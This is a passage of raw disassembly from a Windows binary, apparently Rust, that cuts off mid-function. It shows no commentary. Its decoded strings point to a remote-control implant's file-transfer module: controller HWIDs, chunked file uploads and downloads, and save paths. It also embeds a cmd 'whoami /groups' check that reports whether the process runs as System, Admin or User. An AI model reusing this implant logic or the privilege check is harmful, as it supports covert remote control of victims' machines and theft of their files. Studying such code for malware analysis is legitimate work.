mov qword [rbp + 0x2c48], rdx
mov qword [rbp + 0x2c50], 0xe
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495748
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
lea rcx, [rbp + 0x26e7]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rbp + 0x10]
movups xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2080], xmm0
movaps xmmword [rbp + 0x2090], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20a0], rax
mov byte [rbp + 0x20a8], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmm1, xmmword [rbp + 0x26ef]
lea rax, [rbp + 0x20a9]
movdqu xmmword [rax + 0xf], xmm1
movdqu xmmword [rax], xmm0
push 0xe
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x444957485f72656c
mov qword [rax + 6], rcx
movabs rcx, 0x656c6f72746e6f43
mov qword [rax], rcx
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 0xe
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2ca0]
mov r8, qword [rbp + 0x2cb0]
lea rcx, [rbp + 0x2a70]
call fcn.1400474b0
mov rax, qword [rbp + 0x2a80]
lea rcx, [rbp + 0x26e7]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x2a70]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rbp + 0x10]
movups xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2400], xmm0
movaps xmmword [rbp + 0x2410], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2420], rax
mov byte [rbp + 0x2428], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmm1, xmmword [rbp + 0x26ef]
lea rax, [rbp + 0x2429]
movdqu xmmword [rax + 0xf], xmm1
movdqu xmmword [rax], xmm0
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495744
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2a00]
mov r8, qword [rbp + 0x2a10]
lea rcx, [rbp + 0x2b20]
call fcn.1400474b0
mov rax, qword [rbp + 0x2b30]
lea rcx, [rbp + 0x2a77]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x2b20]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rbp + 0x10]
movups xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x26e0], xmm0
movaps xmmword [rbp + 0x26f0], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2700], rax
mov byte [rbp + 0x2708], 5
movdqu xmm0, xmmword [rbp + 0x2a70]
movdqu xmm1, xmmword [rbp + 0x2a7f]
lea rax, [rbp + 0x26e7]
movdqu xmmword [rax + 0x31], xmm1
movdqu xmmword [rax + 0x22], xmm0
push 3
pop rcx
xor edx, edx
call fcn.1400814b3
inc r14d
mov byte [rax + 2], 0x44
mov word [rax], 0x4946
movsxd rcx, r14d
mov byte [rbp + 0x10], 5
mov r8d, dword [rbp + 0x2a70]
mov r9d, dword [rbp + 0x2a73]
lea r10, [rbp + 0x11]
mov dword [r10 + 3], r9d
mov dword [r10], r8d
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 3
mov byte [rbp + 0x38], 1
mov qword [rbp + 0x40], rcx
push 5
pop rcx
xor edx, edx
call fcn.1400814b3
mov byte [rax + 4], 0x6b
mov dword [rax], 0x6e756843
mov qword [rbp + 0x2a78], rax
mov qword [rbp + 0x2a80], rdx
mov qword [rbp + 0x2a88], 5
mov byte [rbp + 0x2a70], 5
mov edx, 0xc800
mov rcx, qword [rbp + 0x2d68]
mov r8, rsi
lea r9, str.srcmodule_file_transfer.rs
call fcn.1400146cb
mov rsi, rax
mov r15, rdx
mov rcx, rdx
xor edx, edx
call fcn.1400814b3
mov r12, rax
mov rbx, rdx
mov rcx, rax
mov rdx, rsi
mov r8, r15
call sub.msvcrt.dll_memcpy
movups xmm0, xmmword [rbp + 0x2a70]
movups xmm1, xmmword [rbp + 0x2a80]
movaps xmmword [rbp + 0x2b20], xmm0
movaps xmmword [rbp + 0x2b30], xmm1
mov rax, qword [rbp + 0x2a90]
mov qword [rbp + 0x2b40], rax
mov eax, dword [rbp + 0x2a50]
mov ecx, dword [rbp + 0x2a53]
mov dword [rbp + 0x2980], eax
mov dword [rbp + 0x2983], ecx
push 0xa
pop rax
mov rcx, rax
mov r8, qword [rbp + 0x2d38]
mov rdi, r8
lea rsi, [rbp + 0x2c10]
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0x50]
mov rcx, rax
lea rsi, [rbp + 0x2080]
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0xa0]
mov rcx, rax
lea rsi, [rbp + 0x2400]
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0xf0]
mov rcx, rax
lea rdx, [rbp + 0x26e0]
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdi, r8
add rdi, 0x140
mov rcx, rax
lea rsi, [rbp + 0x10]
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x2b40]
mov qword [r8 + 0x1b0], rax
movdqa xmm0, xmmword [rbp + 0x2b20]
movdqa xmm1, xmmword [rbp + 0x2b30]
movdqu xmmword [r8 + 0x1a0], xmm1
movdqu xmmword [r8 + 0x190], xmm0
mov byte [r8 + 0x1b8], 6
mov eax, dword [rbp + 0x2980]
mov ecx, dword [rbp + 0x2983]
mov dword [r8 + 0x1b9], eax
mov dword [r8 + 0x1bc], ecx
mov qword [r8 + 0x1c0], r12
mov qword [r8 + 0x1c8], rbx
mov qword [r8 + 0x1d0], r15
mov qword [rbp + 0x2ba8], r8
mov qword [rbp + 0x2bb0], r13
mov qword [rbp + 0x2bb8], r13
mov byte [rbp + 0x2ba0], 8
mov rcx, rdx
lea rdx, [rbp + 0x2ba0]
call fcn.140077c9a
mov rdx, qword [rbp + 0x26e0]
mov r8, qword [rbp + 0x26f0]
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x2d38], rdx
call fcn.14001545f
lea rcx, [rbp + 0x29a0]
call fcn.1400182d8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x29a0]
mov rdx, rdi
call fcn.1400181b0
mov rsi, rax
mov rdx, qword [rbp + 0x18]
mov rcx, rdi
call fcn.140047b8c
mov rdx, qword [rbp + 0x26e8]
mov rcx, qword [rbp + 0x2d38]
call fcn.140047b8c
test rsi, rsi
jne 0x14002fecb
lea rcx, [rbp + 0x2ba0]
call fcn.14000de3b
mov rcx, qword [rbp + 0x2d68]
mov rdx, qword [rbp + 0x2d58]
call fcn.140047b8c
jmp 0x14002ce43
mov byte [rbp + 0x2d15], al
mov byte [rbp + 0x2d14], al
lea rcx, [rbp + 0x2b20]
call fcn.14000de3b
xor esi, esi
mov byte [rbp + 0x2d16], 0
lea rcx, [rbp + 0x2a50]
call fcn.14000e5e2
lea rcx, [rbp + 0x10]
mov qword [rcx], rsi
mov byte [rbp + 0x2d16], 0
call fcn.14000ee36
mov rcx, qword [rbp + 0x2980]
mov rdx, qword [rbp + 0x2988]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2b80]
mov rdx, qword [rbp + 0x2b88]
jmp 0x14002660d
mov rsi, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x2d68]
mov rdx, qword [rbp + 0x2d58]
call fcn.140047b8c
mov rcx, qword [rbp + 0x2d48]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbp + 0x2d48], rsi
jmp 0x14002e2bb
mov rax, qword [rbx]
neg rdx
imul rcx, rdx, 0x50
mov rdx, qword [rax + rcx - 8]
mov qword [rbp + 0x40], rdx
movups xmm0, xmmword [rax + rcx - 0x38]
movups xmm1, xmmword [rax + rcx - 0x28]
movups xmm2, xmmword [rax + rcx - 0x18]
movaps xmmword [rbp + 0x30], xmm2
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
mov rdx, qword [rbp + 0x2710]
mov qword [rax + rcx - 8], rdx
movdqa xmm0, xmmword [rbp + 0x26e0]
movdqa xmm1, xmmword [rbp + 0x26f0]
movaps xmm2, xmmword [rbp + 0x2700]
movups xmmword [rax + rcx - 0x18], xmm2
movdqu xmmword [rax + rcx - 0x28], xmm1
movdqu xmmword [rax + rcx - 0x38], xmm0
mov rcx, qword [rbp + 0x2400]
mov rdx, qword [rbp + 0x2408]
call fcn.140047b8c
lea rcx, [rbp + 0x10]
call fcn.14000f4ec
mov byte [rbp + 0x2d30], 0
mov ecx, 0x1e0
call fcn.14001018f
mov qword [rbp + 0x2d48], rax
push 6
pop rbx
mov rcx, rbx
xor edx, edx
call fcn.1400814b3
mov word [rax + 4], 0x7465
mov dword [rax], 0x6b636150
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 6
mov byte [rbp + 0x10], 5
push 0xb
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x705f64616f6c7075
mov qword [rax], rcx
mov dword [rax + 7], 0x76657270
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x2c30], rcx
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x2c20], xmm1
movdqa xmmword [rbp + 0x2c10], xmm0
mov byte [rbp + 0x2c38], 5
mov qword [rbp + 0x2c40], rax
mov qword [rbp + 0x2c48], rdx
mov qword [rbp + 0x2c50], 0xb
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495748
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x26f7], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x26e7], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2080], xmm0
movdqa xmmword [rbp + 0x2090], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20a0], rax
mov byte [rbp + 0x20a8], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rbp + 0x20a9], xmm0
mov rax, qword [rbp + 0x26ef]
mov qword [rbp + 0x20b8], rax
mov rax, qword [rbp + 0x26f7]
mov qword [rbp + 0x20c0], rax
push 0xe
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x444957485f72656c
mov qword [rax + 6], rcx
movabs rcx, 0x656c6f72746e6f43
mov qword [rax], rcx
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 0xe
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2ca0]
mov r8, qword [rbp + 0x2cb0]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
mov qword [rbp + 0x26f7], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rbp + 0x26e7], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2400], xmm0
movdqa xmmword [rbp + 0x2410], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2420], rax
mov byte [rbp + 0x2428], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmmword [rbp + 0x2429], xmm0
mov rax, qword [rbp + 0x26ef]
mov qword [rbp + 0x2438], rax
mov rax, qword [rbp + 0x26f7]
mov qword [rbp + 0x2440], rax
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495744
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x26c8]
mov r8, qword [rbp + 0x26d8]
lea rcx, [rbp + 0x26e0]
call fcn.1400474b0
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2b37], rax
movups xmm0, xmmword [rbp + 0x26e0]
movups xmmword [rbp + 0x2b27], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x26e0], xmm0
movdqa xmmword [rbp + 0x26f0], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2700], rax
mov byte [rbp + 0x2708], 5
movdqu xmm0, xmmword [rbp + 0x2b20]
movdqu xmmword [rbp + 0x2709], xmm0
mov rax, qword [rbp + 0x2b2f]
mov qword [rbp + 0x2718], rax
mov rax, qword [rbp + 0x2b37]
mov qword [rbp + 0x2720], rax
push 8
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x68746150656c6946
mov qword [rax], rcx
mov qword [rbp + 0x2b28], rax
mov qword [rbp + 0x2b30], rdx
mov qword [rbp + 0x2b38], 8
mov byte [rbp + 0x2b20], 5
mov rdx, qword [rbp + 0x2950]
mov r8, qword [rbp + 0x2960]
lea rcx, [rbp + 0x10]
call fcn.1400474b0
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x2bb7], rax
movups xmm0, xmmword [rbp + 0x10]
movups xmmword [rbp + 0x2ba7], xmm0
movups xmm0, xmmword [rbp + 0x2b20]
movdqu xmm1, xmmword [rbp + 0x2b30]
movaps xmmword [rbp + 0x10], xmm0
movdqa xmmword [rbp + 0x20], xmm1
mov rax, qword [rbp + 0x2b40]
mov qword [rbp + 0x30], rax
mov byte [rbp + 0x38], 5
movdqu xmm0, xmmword [rbp + 0x2ba0]
movdqu xmmword [rbp + 0x39], xmm0
mov rax, qword [rbp + 0x2baf]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x2bb7]
mov qword [rbp + 0x50], rax
push 0xc
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x656c694665766153
mov qword [rax], rcx
mov dword [rax + 8], 0x68746150
mov qword [rbp + 0x2b28], rax
mov qword [rbp + 0x2b30], rdx
mov qword [rbp + 0x2b38], 0xc
mov byte [rbp + 0x2b20], 5
mov rdx, qword [rbp + 0x2af8]
mov r8, qword [rbp + 0x2b08]
lea rcx, [rbp + 0x2ba0]
call fcn.1400474b0
mov rax, qword [rbp + 0x2bb0]
mov qword [rbp + 0x29b7], rax
movups xmm0, xmmword [rbp + 0x2ba0]
movups xmmword [rbp + 0x29a7], xmm0
movups xmm0, xmmword [rbp + 0x2b20]
movups xmm1, xmmword [rbp + 0x2b30]
movaps xmmword [rbp + 0x2ba0], xmm0
movaps xmmword [rbp + 0x2bb0], xmm1
mov rax, qword [rbp + 0x2b40]
mov qword [rbp + 0x2bc0], rax
movups xmm0, xmmword [rbp + 0x29a0]
movaps xmmword [rbp + 0x2670], xmm0
mov rax, qword [rbp + 0x29af]
mov qword [rbp + 0x267f], rax
mov rax, qword [rbp + 0x29b7]
mov qword [rbp + 0x2687], rax
push 0xa
pop rax
lea rsi, [rbp + 0x2c10]
mov rcx, rax
mov r8, qword [rbp + 0x2d48]
mov rdi, r8
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0x50]
lea rsi, [rbp + 0x2080]
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0xa0]
lea rsi, [rbp + 0x2400]
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0xf0]
lea rsi, [rbp + 0x26e0]
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
mov rdi, r8
add rdi, 0x140
lea rdx, [rbp + 0x10]
mov rcx, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x2bc0]
mov qword [r8 + 0x1b0], rax
movaps xmm0, xmmword [rbp + 0x2ba0]
movdqa xmm1, xmmword [rbp + 0x2bb0]
movdqu xmmword [r8 + 0x1a0], xmm1
movups xmmword [r8 + 0x190], xmm0
mov byte [r8 + 0x1b8], 5
movups xmm0, xmmword [rbp + 0x267f]
movups xmmword [r8 + 0x1c8], xmm0
movdqa xmm0, xmmword [rbp + 0x2670]
movdqu xmmword [r8 + 0x1b9], xmm0
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], rbx
mov byte [rdx], 8
lea rcx, [rbp + 0x2400]
call fcn.140077c9a
mov rdx, qword [rbp + 0x2400]
mov r8, qword [rbp + 0x2410]
lea rcx, [rbp + 0x26e0]
mov qword [rbp + 0x2d48], rdx
call fcn.14001545f
lea rcx, [rbp + 0x2a50]
call fcn.1400182d8
mov rsi, qword [rbp + 0x26e0]
mov r8, qword [rbp + 0x26f0]
lea rcx, [rbp + 0x2a50]
mov rdx, rsi
call fcn.1400181b0
lea rdx, str.srcmodule_file_transfer.rs
mov rcx, rax
call fcn.14000fc14
mov rdx, qword [rbp + 0x26e8]
mov rcx, rsi
call fcn.140047b8c
mov rdx, qword [rbp + 0x2408]
mov rcx, qword [rbp + 0x2d48]
call fcn.140047b8c
mov byte [rbp + 0x2d30], 0
lea rcx, [rbp + 0x10]
call fcn.14000de3b
xor eax, eax
mov byte [rbp + 0x2d35], al
mov byte [rbp + 0x2d34], al
mov byte [rbp + 0x2d33], 1
mov rcx, qword [rbp + 0x2d68]
mov dl, byte [rbp + 0x2d58]
call fcn.14000c9d5
cmp qword [rbp + 0x2390], 0
je 0x14002db1d
mov byte [rbp + 0x2d0e], 1
lea rcx, [rbp + 0x2390]
call fcn.14000d499
mov rcx, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
call fcn.140047b8c
mov byte [rbp + 0x2d0f], 0
lea rcx, [rbp + 0x2a50]
call fcn.14000e5e2
jmp 0x14002b5f3
lea r8, str.fileviewContentcmd_C_whoami__groups__findstr_Mandatory__findstr_System___nul__echo_System____whoami__groups__findstr_Mandatory__findstr_High___nul__echo_Admin___echo_User
push 8
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x14002e32a
lea rdx, str.Filefatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x140030178
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x1400301b9
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rdi, [rbp + 0x2a00]
mov rcx, rdi
call fcn.14000fd59
mov byte [rbp + 0x2d1d], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.FIDStr
lea rcx, [rbp + 0x23b0]
push 6
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d1d], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d1d], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002dce1
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002dd22
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2670]
call fcn.14000fd59
mov byte [rbp + 0x2d36], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rsi, qword [rbp + 0x2670]
mov r8, qword [rbp + 0x2680]
lea rbx, [rbp + 0x10]
mov rcx, rbx
mov rdx, rsi
call fcn.140054030
mov byte [rbp + 0x2d36], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rbx
call fcn.14000fb66
mov rbx, rax
lea rdx, [0x140122403]
lea rcx, [rbp + 0x23b0]
push 5
pop r8
call fcn.140007202
mov r14, rax
mov byte [rbp + 0x2d36], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d36], 1
lea rcx, [rbp + 0x10]
mov rdx, r14
call fcn.14001062e
movzx eax, byte [rbp + 0x38]
mov rcx, qword [rbp + 0x40]
mov qword [rbp + 0x2d58], rcx
mov rcx, qword [rbp + 0x48]
mov qword [rbp + 0x2d48], rcx
mov r15, qword [rbp + 0x50]
cmp eax, 6
je 0x14002ddf3
cmp eax, 0xa
jne 0x14003386f
mov byte [rbp + 0x2ccd], 0
mov byte [rbp + 0x2ccc], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x29b0], rax
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rbp + 0x29a0], xmm0
mov qword [rbp + 0x2b80], rdi
mov byte [rbp + 0x2d1c], 1
call fcn.1400419f1
mov byte [rbp + 0x2d1c], 1
lea rcx, [rbp + 0x10]
mov rdx, rax
call fcn.14000903f
mov byte [rbp + 0x2d1c], 1
lea rdx, str.srcmodule_file_transfer.rs
lea rcx, [rbp + 0x10]
call fcn.14000fc73
mov byte [rbp + 0x2d38], dl
mov rdi, rax
mov qword [rbp + 0x2d68], rax
mov r13b, 1
cmp qword [rax + 0x28], 0
je 0x1400312a2
add rdi, 0x10
mov r14, qword [rbp + 0x2b80]
mov rax, qword [rbp + 0x2d68]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rax + 0x38]
mov r8, qword [r14]
mov r9, qword [r14 + 0x10]
call fcn.14004230a
mov rcx, rdi
mov rdx, rax
mov r8, r14
call fcn.140015120
test rax, rax
je 0x1400312a2
mov r14, rax
mov rcx, qword [rax - 0x38]
mov rdx, qword [rax - 0x28]
mov byte [rbp + 0x2d32], 1
call fcn.1400975a0
mov r12, rdx
test rax, rax
lea r13, str.called__Option::unwrap____on_a__None__value
cmovne r13, rax
cmove r12, rax
lea rax, [rbp + 0x2b80]
lea r9, [rbp + 0x2400]
mov qword [r9], rax
lea rax, case.0x140068eca.86
mov qword [r9 + 8], rax
mov byte [rbp + 0x2d32], 1
mov qword [rsp + 0x20], 1
lea rdx, [0x140122320]
lea rcx, [rbp + 0x10]
push 2
pop r8
call fcn.14000c3a4
mov byte [rbp + 0x2d32], 1
lea rcx, [rbp + 0x26e0]
lea rdx, [rbp + 0x10]
call fcn.14000ff7c
movdqu xmm0, xmmword [rbp + 0x26e0]
lea r9, [rbp + 0x10]
movdqa xmmword [r9], xmm0
mov rax, qword [rbp + 0x26f0]
mov qword [r9 + 0x10], rax
mov byte [rbp + 0x2d32], 1
lea rcx, [rbp + 0x2400]
mov rdx, r13
mov r8, r12
call fcn.140007829
mov rdx, qword [rbp + 0x2400]
mov r12, qword [rbp + 0x2410]
lea rcx, [rbp + 0x2ba0]
mov qword [rbp + 0x2cd0], rdx
mov r8, r12
call fcn.1400a7240
mov rdx, qword [rbp + 0x2ba0]
mov r8, qword [rbp + 0x2bb0]
test rdx, rdx
jne 0x14002dfb7
mov rdx, qword [rbp + 0x2ba8]
lea rcx, [rbp + 0x10]
and dword [rcx + 0x20], 0
and word [rcx + 0x24], 0
and dword [rcx], 0
pxor xmm0, xmm0
movdqu xmmword [rcx + 8], xmm0
mov qword [rcx + 0x18], 7
mov word [rcx + 0x20], 0x101
mov byte [rcx + 0x24], 1
call fcn.1400959e0
mov qword [rbp + 0x2cf0], rdx
test rax, rax
jne 0x1400311cc
imul rdx, rbx, 0xc800
add rdx, 0xffffffffffff3800
lea r8, [rbp + 0x10]
and qword [r8], 0
mov rcx, qword [rbp + 0x2cf0]
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetFilePointerEx]
test eax, eax
je 0x1400311a7
mov rcx, qword [rbp + 0x2cf0]
mov rdx, qword [rbp + 0x2d58]
mov r8, r15
call fcn.1400076b3
mov r15, rax
test rax, rax
jne 0x1400311b8
mov rcx, qword [rbp + 0x2cf0]
call qword [sym.imp.kernel32.dll_CloseHandle]
and qword [rbp + 0x2980], 0
mov rax, qword [r14 - 8]
mov ecx, 0xc800
xor edx, edx
div rcx
inc rax
mov r13b, 1
cmp rax, rbx
jne 0x140031283
push 1
pop rcx
call sub.kernel32.dll_Sleep
and qword [rbp + 0x2338], 0
mov byte [rbp + 0x2d03], 0
mov byte [rbp + 0x2d02], 1
lea rcx, [rbp + 0x2a70]
mov rdx, qword [rbp + 0x2cd0]
mov r8, r12
call fcn.1400a7240
mov rdx, qword [rbp + 0x2a70]
mov r8, qword [rbp + 0x2a80]
test rdx, rdx
jne 0x14002e0c7
mov rdx, qword [rbp + 0x2a78]
mov byte [rbp + 0x2d01], 1
lea rcx, [rbp + 0x2b20]
call fcn.1400156c5
cmp qword [rbp + 0x2b20], 0
je 0x14003253f
mov r8, qword [rbp + 0x2b30]
mov qword [rbp + 0x2c20], r8
movdqu xmm0, xmmword [rbp + 0x2b20]
movdqa xmmword [rbp + 0x2c10], xmm0
mov rdx, qword [rbp + 0x2c10]
mov byte [rbp + 0x2d57], 1
lea rcx, [rbp + 0x26e0]
mov qword [rbp + 0x2cf0], rdx
call fcn.140046a50
mov rdx, qword [r14 - 0x20]
mov r8, qword [r14 - 0x10]
lea rcx, [rbp + 0x10]
call fcn.140046a50
mov rax, r14
add rax, 0xffffffffffffffc8
mov qword [rbp + 0x2cb8], rax
mov r15, qword [rbp + 0x26e0]
mov rdx, qword [rbp + 0x26f0]
mov r13, qword [rbp + 0x10]
mov r9, qword [rbp + 0x20]
mov rcx, r15
mov r8, r13
call fcn.14010a6a2
mov ebx, eax
mov rdx, qword [rbp + 0x18]
mov rcx, r13
call fcn.140047b8c
mov rdx, qword [rbp + 0x26e8]
mov rcx, r15
call fcn.140047b8c
test bl, bl
je 0x140032635
mov r8, qword [r14 - 0x38]
mov r9, qword [r14 - 0x28]
mov byte [rbp + 0x2d57], 1
mov rcx, qword [rbp + 0x2cd0]
mov rdx, r12
call fcn.1400abf90
test rax, rax
je 0x140033519
lea rcx, [rbp + 0x2a50]
mov qword [rcx], rax
lea r9, [rbp + 0x2080]
mov qword [r9], rcx
lea rax, [fcn.140092dd0]
mov qword [r9 + 8], rax
mov qword [rsp + 0x20], 1
lea rdx, str.Failed_to_move_file:
lea rcx, [rbp + 0x10]
push 1
pop r8
call fcn.14000c3a4
lea rcx, [rbp + 0x26e0]
lea rdx, [rbp + 0x10]
call fcn.14000ff7c
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqa xmmword [rbp + 0x2080], xmm0
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2090], rax
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x29a0]
call fcn.140018341
mov r8, qword [rbp + 0x2ca0]
mov r9, qword [rbp + 0x2cb0]
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x2080]
lea rdx, [rbp + 0x10]
call fcn.14001587b
mov rcx, qword [rbp + 0x2080]
mov rdx, qword [rbp + 0x2088]
call fcn.140047b8c
mov byte [rbp + 0x2d57], 1
lea rcx, [rbp + 0x2a50]
call fcn.14000d499
mov r13b, 1
jmp 0x14003361e
mov rcx, qword [rbp + 0x2d68]
mov rdx, qword [rbp + 0x2d58]
